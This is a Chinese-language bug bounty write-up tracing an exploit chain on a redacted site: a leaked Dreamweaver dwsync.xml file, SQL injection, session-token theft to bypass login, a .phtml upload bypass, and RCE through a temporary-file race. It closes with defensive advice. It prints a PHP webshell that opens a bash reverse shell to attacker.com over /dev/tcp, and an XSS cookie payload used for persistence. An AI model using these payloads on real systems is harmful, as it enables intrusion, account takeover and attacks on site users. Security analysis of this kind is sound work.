bugbounty:File Disclosure to Remote Code Execution
字数 1895 2025-08-26 22:11:51
从文件泄露到远程代码执行:完整漏洞利用链分析
漏洞概述
本文详细分析了一个从文件泄露开始,最终实现远程代码执行(RCE)的完整漏洞利用链。攻击者通过信息收集、SQL注入、身份验证绕过、文件上传漏洞等多个环节,最终在目标服务器上获取了shell权限。
漏洞利用步骤
1. 信息收集与文件泄露
关键点:
- 使用目录爆破工具(dirseach等)发现敏感文件
- 发现Dreamweaver生成的
dwsync.xml文件- 路径:
https://redacted.com/dir/_notes/dwsync.xml - 该文件包含网站文件结构信息
- 路径:
技术细节:
dwsync.xml是Dreamweaver网站管理软件生成的配置文件- 通常包含网站目录结构、文件关联信息等
- 攻击者通过此文件获取了
redacted.php等关键文件路径
2. SQL注入漏洞利用
发现过程:
- 访问
redacted.php文件时出现错误:Undefined index: ver - 添加
ver参数:https://redacted.com/dir/redacted.php?ver=1 - 页面显示数字"1",表明参数被直接使用
- 尝试SQL注入payload:
https://redacted.com/dir/redacted.php?ver=1'
利用结果:
- 使用SQLmap成功获取数据库信息:
available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] redacted_db [*] tmp - 从
redacted_db数据库中提取了user_tbl和session_tbl表
3. 身份验证绕过
技术细节:
user_tbl表中的密码使用MD5加密,无法直接破解- 发现
session_tbl表包含三列:id、user_id和session - 从表中提取有效的session值
- 将session值注入到网站cookie中实现身份验证绕过
关键点:
- 当无法直接破解密码时,寻找其他认证机制
- Session劫持是一种有效的身份验证绕过方式
4. 无限制文件上传漏洞
漏洞发现:
- 登录后发现文件上传功能
- 前端限制上传
.phtml文件 - 使用Burp Suite拦截上传请求,修改文件扩展名
利用过程:
- 上传
.jpg文件,拦截请求 - 修改文件扩展名为
.phtml - 文件成功上传到AWS S3存储桶:
https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml
服务器响应分析:
/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235
5. 远程代码执行(RCE)
关键发现:
- 上传的文件会暂时存储在web服务器上,然后转移到AWS
- 存在时间窗口可以访问服务器上的临时文件
利用步骤:
- 上传包含PHP webshell的
.phtml文件:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'"); - 使用Burp Suite爆破可能的临时文件路径
- 当HTTP响应为200时,表示文件存在于web服务器上
- 访问临时文件触发反向shell
持久化攻击:
- 在服务器上放置包含XSS payload的HTML文件:
<script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script> - 创建恶意cookie在所有页面触发XSS
漏洞利用技巧总结
-
低危漏洞的扩大利用:
- 不要满足于低危漏洞的发现,尝试扩大影响范围
- 组合多个低危漏洞可能产生高危影响
-
受限访问系统的测试:
- 对于没有注册功能的网站,使用目录爆破寻找敏感信息
- 内部系统往往存在更多漏洞
-
SQL注入的深入利用:
- 当密码无法破解时,检查其他表寻找认证机制
- Session表是身份验证绕过的常见目标
-
文件上传绕过:
- 前端验证可通过代理工具绕过
- 尝试各种文件扩展名(.phtml, .php5, .phar等)
-
临时文件利用:
- 注意服务器响应中的路径信息
- 文件处理过程中的时间差可能带来利用机会
防御建议
-
信息泄露防护:
- 删除开发过程中生成的临时文件(dwsync.xml等)
- 限制目录列表访问
-
SQL注入防护:
- 使用参数化查询
- 实施最小权限原则
-
身份验证加固:
- 使用安全的session管理机制
- 实施session绑定(IP, User-Agent等)
-
文件上传安全:
- 实施严格的白名单验证
- 在服务器端验证文件内容和扩展名
- 使用随机文件名并存储在web根目录外
-
代码执行防护:
- 禁用危险函数(exec, system等)
- 实施文件完整性监控
- 限制服务器出站连接
结论
这个案例展示了如何将多个看似不严重的漏洞串联成完整的攻击链,最终实现远程代码执行。渗透测试人员应具备将不同漏洞组合利用的思维,而防御方则需要关注系统的整体安全态势,而不仅仅是单个漏洞的修补。